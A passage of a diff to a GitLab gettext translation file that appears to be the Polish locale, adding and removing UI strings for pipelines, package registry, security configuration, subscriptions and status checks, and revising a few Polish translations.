+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21161,10 +21547,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21423,6 +21809,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21555,6 +21947,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21582,6 +21977,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21751,9 +22149,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21853,9 +22248,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22205,7 +22597,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22232,6 +22624,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22445,6 +22840,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22779,6 +23177,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23161,7 +23562,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23260,7 +23661,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23326,6 +23727,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23353,6 +23757,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23395,6 +23802,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23416,6 +23826,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23467,9 +23880,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23479,6 +23901,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23494,6 +23919,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23539,6 +23967,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23551,12 +23982,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23653,7 +24078,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23668,6 +24093,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23719,6 +24147,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23854,6 +24285,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23932,6 +24366,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23986,6 +24423,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -24052,6 +24537,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -24109,6 +24597,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -24130,6 +24621,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24184,6 +24678,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24214,9 +24711,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24514,9 +25008,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24553,6 +25053,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24562,6 +25065,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24595,9 +25101,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24625,6 +25128,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24781,6 +25287,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -25135,7 +25644,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25393,6 +25902,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25546,9 +26058,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -26023,9 +26532,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -26077,12 +26583,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -26095,6 +26595,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -26107,9 +26610,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -26125,10 +26625,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -26137,9 +26637,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26887,9 +27384,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26899,6 +27393,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26999,7 +27496,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27234,9 +27731,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27252,6 +27746,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28056,7 +28553,7 @@ msgid "Reviewers"
msgstr ""
msgid "Reviewing"
-msgstr "PrzeglÄ…d"
+msgstr "Recenzowanie"
msgid "Reviewing (merge request !%{mergeRequestId})"
msgstr "Recenzowanie (żądanie scalenia !%{mergeRequestId})"
@@ -28161,7 +28658,7 @@ msgid "Runners currently online: %{active_runners_count}"
msgstr "Liczba Robotników online: %{active_runners_count}"
msgid "Runners page."
-msgstr "Strona Robotników."
+msgstr "Strona robotników."
msgid "Runners|Active"
msgstr ""
@@ -28211,6 +28708,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28810,16 +29319,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28834,6 +29352,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28846,6 +29367,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28858,10 +29382,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28870,6 +29394,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28924,6 +29451,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28942,9 +29472,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28966,9 +29493,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -29137,6 +29661,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29203,6 +29730,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29437,6 +29967,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29590,9 +30123,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29827,9 +30357,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -30072,6 +30599,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -30165,6 +30698,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30262,7 +30798,7 @@ msgid "Something went wrong on our end."
msgstr ""
msgid "Something went wrong on our end. Please try again!"
-msgstr "Coś poszło nie tak po naszej stronie. Spróbuj ponownie!"
+msgstr "Coś poszło nie tak po naszej stronie. Proszę spróbuj ponownie!"
msgid "Something went wrong on our end. Please try again."
msgstr ""
@@ -30402,6 +30938,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30708,11 +31247,14 @@ msgstr "Określ wzór regex adresu e-mail, aby zidentyfikować domyślnych użyt
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
msgid "Squash commits"
-msgstr "Angaże Squash"
+msgstr ""
msgid "Stack trace"
msgstr ""
@@ -30723,10 +31265,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30948,18 +31493,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30993,9 +31577,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31045,11 +31626,14 @@ msgid "Storage nodes for new repositories"
msgstr ""
msgid "Storage:"
-msgstr "Przechowywanie:"
+msgstr "Magazyn:"
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -31155,6 +31739,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31266,6 +31853,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31290,6 +31880,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31401,42 +31994,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31446,18 +32090,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31476,6 +32150,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31698,6 +32375,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31856,9 +32536,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr "Przetwarzanie pokrycia testowego"
@@ -32002,6 +32679,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -32032,7 +32712,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -32057,6 +32737,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32250,6 +32933,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32295,6 +32981,9 @@ msgstr ""
